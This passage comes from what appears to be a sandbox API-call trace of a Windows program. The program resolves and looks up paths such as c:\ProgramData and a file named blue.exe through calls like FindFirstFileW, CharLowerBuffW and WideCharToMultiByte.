lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e308, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1v\x10", lpUsedDefaultChar=0x0) returned 15 [0118.152] SysReAllocStringLen (in: pbstr=0x28f324*=0x0, psz="ProgramData", len=0xb | out: pbstr=0x28f324*="ProgramData") returned 1 [0118.153] CharLowerBuffW (in: lpsz="ProgramData", cchLength=0xb | out: lpsz="programdata") returned 0xb [0118.153] SysReAllocStringLen (in: pbstr=0x28f328*="ProgramData", psz="programdata", len=0xb | out: pbstr=0x28f328*="programdata") returned 1 [0118.153] SysReAllocStringLen (in: pbstr=0x4717e4*=0x0, psz="programdata", len=0xb | out: pbstr=0x4717e4*="programdata") returned 1 [0118.153] SysReAllocStringLen (in: pbstr=0x4717e8*=0x0, psz="ProgramData", len=0xb | out: pbstr=0x4717e8*="ProgramData") returned 1 [0118.153] SysReAllocStringLen (in: pbstr=0x28f308*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f308*="c:") returned 1 [0118.153] SysReAllocStringLen (in: pbstr=0x28f368*="c:", psz="c:\\", len=0x3 | out: pbstr=0x28f368*="c:\\") returned 1 [0118.153] CharLowerBuffW (in: lpsz="c:\\programdata", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0118.153] SysReAllocStringLen (in: pbstr=0x4717ec*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x4717ec*="c:\\programdata") returned 1 [0118.153] CharLowerBuffW (in: lpsz="c:\\programdata", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0118.153] SysReAllocStringLen (in: pbstr=0x4718dc*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x4718dc*="c:\\programdata") returned 1 [0118.153] SysReAllocStringLen (in: pbstr=0x4718e0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4718e0*="c:") returned 1 [0118.154] SysReAllocStringLen (in: pbstr=0x471900*=0x0, psz="programdata", len=0xb | out: pbstr=0x471900*="programdata") returned 1 [0118.154] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28df68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatav", lpUsedDefaultChar=0x0) returned 11 [0118.154] SysReAllocStringLen (in: pbstr=0x28effc*=0x0, psz="c:", len=0x2 | out: pbstr=0x28effc*="c:") returned 1 [0118.154] SysReAllocStringLen (in: pbstr=0x28f2fc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f2fc*="c:\\") returned 1 [0118.154] SysReAllocStringLen (in: pbstr=0x28eff4*=0x0, psz="programdata", len=0xb | out: pbstr=0x28eff4*="programdata") returned 1 [0118.154] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f020 | out: lpFindFileData=0x28f020*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759468 [0118.154] FindNextFileW (in: hFindFile=0x759468, lpFindFileData=0x28f020 | out: lpFindFileData=0x28f020*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.154] GetLastError () returned 0x12 [0118.154] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.154] SysReAllocStringLen (in: pbstr=0x28efe8*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28efe8*="c:\\ProgramData") returned 1 [0118.155] SysReAllocStringLen (in: pbstr=0x28f2fc*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f2fc*="c:\\ProgramData\\") returned 1 [0118.155] SysReAllocStringLen (in: pbstr=0x28efe4*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28efe4*="c:\\ProgramData\\") returned 1 [0118.155] SysReAllocStringLen (in: pbstr=0x28f2fc*="c:\\ProgramData\\", psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f2fc*="c:\\ProgramData") returned 1 [0118.155] CharLowerBuffW (in: lpsz="c:\\ProgramData", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0118.155] SysReAllocStringLen (in: pbstr=0x4718dc*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x4718dc*="c:\\programdata") returned 1 [0118.155] SysReAllocStringLen (in: pbstr=0x4718e0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4718e0*="c:") returned 1 [0118.156] SysReAllocStringLen (in: pbstr=0x471900*=0x0, psz="programdata", len=0xb | out: pbstr=0x471900*="programdata") returned 1 [0118.156] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0118.156] CharLowerBuffW (in: lpsz="c:\\programdata", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0118.156] SysReAllocStringLen (in: pbstr=0x471924*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x471924*="c:\\programdata") returned 1 [0118.156] SysReAllocStringLen (in: pbstr=0x471928*=0x0, psz="c:", len=0x2 | out: pbstr=0x471928*="c:") returned 1 [0118.156] SysReAllocStringLen (in: pbstr=0x471948*=0x0, psz="programdata", len=0xb | out: pbstr=0x471948*="programdata") returned 1 [0118.156] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28df64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadatav", lpUsedDefaultChar=0x0) returned 11 [0118.157] SysReAllocStringLen (in: pbstr=0x28effc*=0x0, psz="c:", len=0x2 | out: pbstr=0x28effc*="c:") returned 1 [0118.157] SysReAllocStringLen (in: pbstr=0x28f2f8*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f2f8*="c:\\") returned 1 [0118.157] SysReAllocStringLen (in: pbstr=0x28eff4*=0x0, psz="programdata", len=0xb | out: pbstr=0x28eff4*="programdata") returned 1 [0118.157] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f020 | out: lpFindFileData=0x28f020*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759468 [0118.157] FindNextFileW (in: hFindFile=0x759468, lpFindFileData=0x28f020 | out: lpFindFileData=0x28f020*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.157] GetLastError () returned 0x12 [0118.157] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.157] SysReAllocStringLen (in: pbstr=0x28efe4*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28efe4*="c:\\PROGRA~3") returned 1 [0118.157] SysReAllocStringLen (in: pbstr=0x28f2f8*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f2f8*="c:\\PROGRA~3\\") returned 1 [0118.157] SysReAllocStringLen (in: pbstr=0x28efe0*=0x0, psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28efe0*="c:\\PROGRA~3\\") returned 1 [0118.158] SysReAllocStringLen (in: pbstr=0x28f2f8*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28f2f8*="c:\\PROGRA~3") returned 1 [0118.158] CharLowerBuffW (in: lpsz="c:\\PROGRA~3", cchLength=0xb | out: lpsz="c:\\progra~3") returned 0xb [0118.158] SysReAllocStringLen (in: pbstr=0x471924*=0x0, psz="c:\\progra~3", len=0xb | out: pbstr=0x471924*="c:\\progra~3") returned 1 [0118.158] SysReAllocStringLen (in: pbstr=0x471928*=0x0, psz="c:", len=0x2 | out: pbstr=0x471928*="c:") returned 1 [0118.158] SysReAllocStringLen (in: pbstr=0x471948*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471948*="progra~3") returned 1 [0118.158] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ata", lpUsedDefaultChar=0x0) returned 8 [0118.158] GetLocalTime (in: lpSystemTime=0x28f26c | out: lpSystemTime=0x28f26c*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x2, wDay=0xe, wHour=0x1, wMinute=0x29, wSecond=0x38, wMilliseconds=0x36a)) [0118.158] SystemTimeToFileTime (in: lpSystemTime=0x28f260, lpFileTime=0x28f270 | out: lpFileTime=0x28f270) returned 1 [0118.159] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x471984, cbMultiByte=8, lpWideCharStr=0x28e274, cchWideChar=2047 | out: lpWideCharStr="EVB905D0탺鶾\x0f") returned 8 [0118.159] CharLowerBuffW (in: lpsz="EVB905D0", cchLength=0x8 | out: lpsz="evb905d0") returned 0x8 [0118.159] SysReAllocStringLen (in: pbstr=0x28f2c4*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f2c4*="c:\\programdata") returned 1 [0118.159] SysReAllocStringLen (in: pbstr=0x28f2cc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f2cc*="c:\\") returned 1 [0118.160] GetFileAttributesW (lpFileName="c:\\evb905d0" (normalized: "c:\\evb905d0")) returned 0xffffffff [0118.160] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.160] SysReAllocStringLen (in: pbstr=0x28f340*="evb905d0", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f340*="\\device\\harddiskvolume1") returned 1 [0118.160] SysReAllocStringLen (in: pbstr=0x28f2b4*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f2b4*="programdata") returned 1 [0118.160] SysReAllocStringLen (in: pbstr=0x28f2bc*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f2bc*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.160] SysReAllocStringLen (in: pbstr=0x28f340*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f340*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.160] SysReAllocStringLen (in: pbstr=0x471808*=0x0, psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x471808*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.160] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\", cchLength=0x24 | out: lpsz="\\device\\harddiskvolume1\\programdata\\") returned 0x24 [0118.160] SysReAllocStringLen (in: pbstr=0x471998*=0x0, psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x471998*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.160] SysReAllocStringLen (in: pbstr=0x4719bc*=0x0, psz="device", len=0x6 | out: pbstr=0x4719bc*="device") returned 1 [0118.161] SysReAllocStringLen (in: pbstr=0x4719dc*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4719dc*="harddiskvolume1") returned 1 [0118.161] SysReAllocStringLen (in: pbstr=0x4719e8*=0x0, psz="programdata", len=0xb | out: pbstr=0x4719e8*="programdata") returned 1 [0118.161] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x10", lpUsedDefaultChar=0x0) returned 6 [0118.161] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.161] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.161] SysReAllocStringLen (in: pbstr=0x28f340*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f340*="\\device\\harddiskvolume1") returned 1 [0118.161] SysReAllocStringLen (in: pbstr=0x28f2a8*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f2a8*="progra~3") returned 1 [0118.161] SysReAllocStringLen (in: pbstr=0x28f2b0*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f2b0*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.161] SysReAllocStringLen (in: pbstr=0x28f340*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f340*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.161] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\", cchLength=0x21 | out: lpsz="\\device\\harddiskvolume1\\progra~3\\") returned 0x21 [0118.162] SysReAllocStringLen (in: pbstr=0x4719f8*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x4719f8*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.162] SysReAllocStringLen (in: pbstr=0x471a1c*=0x0, psz="device", len=0x6 | out: pbstr=0x471a1c*="device") returned 1 [0118.162] SysReAllocStringLen (in: pbstr=0x471a3c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471a3c*="harddiskvolume1") returned 1 [0118.162] SysReAllocStringLen (in: pbstr=0x471a48*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471a48*="progra~3") returned 1 [0118.162] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devicemdataume1", lpUsedDefaultChar=0x0) returned 6 [0118.162] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.162] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.162] SystemTimeToFileTime (in: lpSystemTime=0x28f260, lpFileTime=0x28f270 | out: lpFileTime=0x28f270) returned 1 [0118.162] SystemTimeToFileTime (in: lpSystemTime=0x28f260, lpFileTime=0x28f270 | out: lpFileTime=0x28f270) returned 1 [0118.162] SystemTimeToFileTime (in: lpSystemTime=0x28f260, lpFileTime=0x28f270 | out: lpFileTime=0x28f270) returned 1 [0118.163] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x28f23c*="blue.exe") returned 1 [0118.163] CharLowerBuffW (in: lpsz="blue.exe", cchLength=0x8 | out: lpsz="blue.exe") returned 0x8 [0118.163] SysReAllocStringLen (in: pbstr=0x28f240*="blue.exe", psz="blue.exe", len=0x8 | out: pbstr=0x28f240*="blue.exe") returned 1 [0118.163] SysReAllocStringLen (in: pbstr=0x471aa0*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471aa0*="blue.exe") returned 1 [0118.163] SysReAllocStringLen (in: pbstr=0x471aa4*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471aa4*="blue.exe") returned 1 [0118.163] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.163] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.163] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.exe") returned 0x17 [0118.163] SysReAllocStringLen (in: pbstr=0x471aa8*=0x0, psz="c:\\programdata\\blue.exe", len=0x17 | out: pbstr=0x471aa8*="c:\\programdata\\blue.exe") returned 1 [0118.163] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.exe") returned 0x17 [0118.163] SysReAllocStringLen (in: pbstr=0x471b98*=0x0, psz="c:\\programdata\\blue.exe", len=0x17 | out: pbstr=0x471b98*="c:\\programdata\\blue.exe") returned 1 [0118.163] SysReAllocStringLen (in: pbstr=0x471b9c*=0x0, psz="c:", len=0x2 | out: pbstr=0x471b9c*="c:") returned 1 [0118.164] SysReAllocStringLen (in: pbstr=0x471bbc*=0x0, psz="programdata", len=0xb | out: pbstr=0x471bbc*="programdata") returned 1 [0118.164] SysReAllocStringLen (in: pbstr=0x471bdc*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471bdc*="blue.exe") returned 1 [0118.164] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.164] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeatawr45w", lpUsedDefaultChar=0x0) returned 8 [0118.164] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.164] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.164] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.164] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759468 [0118.164] FindNextFileW (in: hFindFile=0x759468, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.164] GetLastError () returned 0x12 [0118.165] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.165] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.165] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.165] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.exe", len=0x8 | out: pbstr=0x28ef0c*="blue.exe") returned 1 [0118.165] FindFirstFileW (in: lpFileName="c:\\ProgramData\\blue.exe", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be2ad0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be2ad0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be2ad0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="blue.exe", cAlternateFileName="")) returned 0x759468 [0118.165] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.165] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.165] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.165] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\blue.exe", len=0x17 | out: pbstr=0x28ef00*="c:\\ProgramData\\blue.exe") returned 1 [0118.165] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.exe", psz="c:\\ProgramData\\blue.exe\\", len=0x18 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.exe\\") returned 1 [0118.166] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\blue.exe\\", len=0x18 | out: pbstr=0x28eefc*="c:\\ProgramData\\blue.exe\\") returned 1 [0118.166] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\blue.exe\\", psz="c:\\ProgramData\\blue.exe", len=0x17 | out: pbstr=0x28f214*="c:\\ProgramData\\blue.exe") returned 1 [0118.166] CharLowerBuffW (in: lpsz="c:\\ProgramData\\blue.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.exe") returned 0x17 [0118.166] SysReAllocStringLen (in: pbstr=0x471b98*=0x0, psz="c:\\programdata\\blue.exe", len=0x17 | out: pbstr=0x471b98*="c:\\programdata\\blue.exe") returned 1 [0118.166] SysReAllocStringLen (in: pbstr=0x471b9c*=0x0, psz="c:", len=0x2 | out: pbstr=0x471b9c*="c:") returned 1 [0118.166] SysReAllocStringLen (in: pbstr=0x471bbc*=0x0, psz="programdata", len=0xb | out: pbstr=0x471bbc*="programdata") returned 1 [0118.167] SysReAllocStringLen (in: pbstr=0x471bdc*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471bdc*="blue.exe") returned 1 [0118.167] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0118.167] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeata", lpUsedDefaultChar=0x0) returned 8 [0118.167] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.exe") returned 0x17 [0118.167] SysReAllocStringLen (in: pbstr=0x471bec*=0x0, psz="c:\\programdata\\blue.exe", len=0x17 | out: pbstr=0x471bec*="c:\\programdata\\blue.exe") returned 1 [0118.167] SysReAllocStringLen (in: pbstr=0x471bf0*=0x0, psz="c:", len=0x2 | out: pbstr=0x471bf0*="c:") returned 1 [0118.167] SysReAllocStringLen (in: pbstr=0x471c10*=0x0, psz="programdata", len=0xb | out: pbstr=0x471c10*="programdata") returned 1 [0118.168] SysReAllocStringLen (in: pbstr=0x471c30*=0x0, psz="blue.exe", len=0x8 | out: pbstr=0x471c30*="blue.exe") returned 1 [0118.168] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataeatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.168] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.exe", cchWideChar=8, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.exeataeatawr45w", lpUsedDefaultChar=0x0) returned 8 [0118.168] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.168] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.168] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.168] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759468 [0118.168] FindNextFileW (in: hFindFile=0x759468, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.168] GetLastError () returned 0x12 [0118.168] FindClose (in: hFindFile=0x759468 | out: hFindFile=0x759468) returned 1 [0118.168] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.168] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.168] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.exe", len=0x8 | out: pbstr=0x28ef0c*="blue.exe") returned 1 [0118.169] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\blue.exe", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, 